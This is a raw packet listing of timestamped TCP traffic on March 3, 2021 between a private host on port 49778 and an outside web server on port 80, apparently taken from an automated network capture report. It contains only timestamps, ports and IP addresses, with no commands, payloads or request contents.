Mar 3, 2021 07:33:31.393604040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.393627882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.393636942 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.393667936 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.394373894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.394401073 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.394421101 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.394423962 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.394448042 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.394493103 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.395159960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.395180941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.395205975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.395216942 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.395229101 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.395251989 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.395977020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.395998955 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.396023035 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.396033049 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.396045923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.396092892 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.396784067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.396806955 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.396832943 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.396853924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.396862984 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.396879911 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.397623062 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.397651911 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.397672892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.397689104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.397708893 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.397728920 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.398428917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.398464918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.398489952 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.398511887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.398519993 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.398550987 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.399221897 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.399250984 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.399274111 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.399293900 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.399307966 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.399327040 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.400068045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.400095940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.400116920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.400141001 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.400150061 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.400175095 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.400855064 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.400878906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.400898933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.400919914 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.400929928 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.400955915 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.401698112 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.401731014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.401753902 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.401777029 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.401791096 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.401810884 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.402504921 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.402539015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.402560949 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.402582884 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.402587891 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.402606964 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.403326035 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.403361082 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.403384924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.403408051 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.403412104 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.403462887 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.404145002 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.404175043 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.404196024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.404217958 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.404218912 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.404244900 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.404974937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.405013084 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.405034065 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.405055046 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.405066967 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.405097961 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.405755997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.405787945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.405811071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.405834913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.405843019 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.405859947 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.406555891 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.406585932 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.406609058 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.406632900 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.406692028 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.407366037 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.407397985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.407422066 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.407428026 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.407444000 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.407465935 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.407466888 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.407522917 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.408453941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.408484936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.408507109 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.408535004 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.408859015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.408899069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.408919096 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.408936024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.408976078 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.408991098 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.409012079 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.409065008 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.410495996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.410527945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.410551071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.410573006 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.410586119 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.410594940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.410619974 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.411578894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.411608934 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.411632061 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.411653996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.411665916 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.411680937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.411700964 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.411725998 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.413723946 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.413754940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.413778067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.413803101 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.413816929 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.413827896 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.413851023 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.415369987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.415402889 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.415431976 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.415456057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.415460110 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.415477991 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.415492058 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.415518045 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.417577028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.417607069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.417628050 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.417648077 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.417668104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.417669058 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.417705059 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.418070078 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418097973 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418118000 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418138981 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418152094 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.418159008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418174982 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.418200970 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.418839931 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418870926 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418893099 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418916941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418920994 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.418940067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.418957949 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.419739008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.419771910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.419806004 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.419827938 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.419836998 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.419850111 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.419878960 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.419904947 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.420530081 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.420558929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.420583010 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.420614004 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.421025991 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421053886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421073914 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421096087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421107054 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.421117067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421156883 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.421176910 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.421888113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421919107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421945095 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421967983 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.421991110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.422043085 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.422713995 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.422739983 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.422765017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.422786951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.422789097 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.422806978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.422827959 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.422863007 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.423563004 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.423598051 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.423621893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.423649073 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.423667908 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.423671961 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.423722029 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.424410105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.424439907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.424463034 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.424485922 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.424499035 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.424508095 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.424527884 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.424570084 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.425225019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.425256014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.425277948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.425303936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.425319910 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.425327063 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.425365925 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.426049948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426078081 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426101923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426129103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426139116 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.426156044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426183939 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.426209927 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.426862955 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426898003 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426923990 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426945925 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.426954031 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.426968098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.427005053 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.427692890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.427722931 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.427746058 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.427771091 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.427784920 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.427794933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.427819014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.427822113 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.427859068 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.428668976 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.428700924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.428757906 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.428958893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.428985119 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.429008007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.429030895 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.429044962 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.429054976 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.429070950 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.429079056 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.429105043 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.429958105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.429987907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430006981 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430015087 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.430030107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430052996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430053949 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.430073977 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430093050 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.430880070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430910110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430932045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430958033 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.430965900 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.430982113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.431001902 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.431004047 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.431025028 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.431821108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.431849003 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.431870937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.431893110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.431906939 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.431915045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.431941032 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.431948900 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.431982994 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.432735920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.432760954 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.432785034 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.432806969 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.432806969 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.432828903 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.432833910 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.432851076 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.432869911 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.433641911 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.433670044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.433687925 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.433706999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.433726072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.433726072 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.433747053 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.433758974 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.433789015 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.434551954 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.434581041 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.434604883 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.434627056 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.434638977 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.434645891 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.434659004 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.434667110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.434684992 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.435441017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.435467958 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.435489893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.435512066 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.435530901 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.435538054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.435560942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.435564995 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.435587883 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.436275005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.436304092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.436327934 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.436350107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.436353922 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.436372995 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.436391115 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.436395884 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.436414957 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.437146902 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.437175035 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.437196970 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.437199116 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.437221050 CET	80	49778	172.67.179.188	192.168.2.4
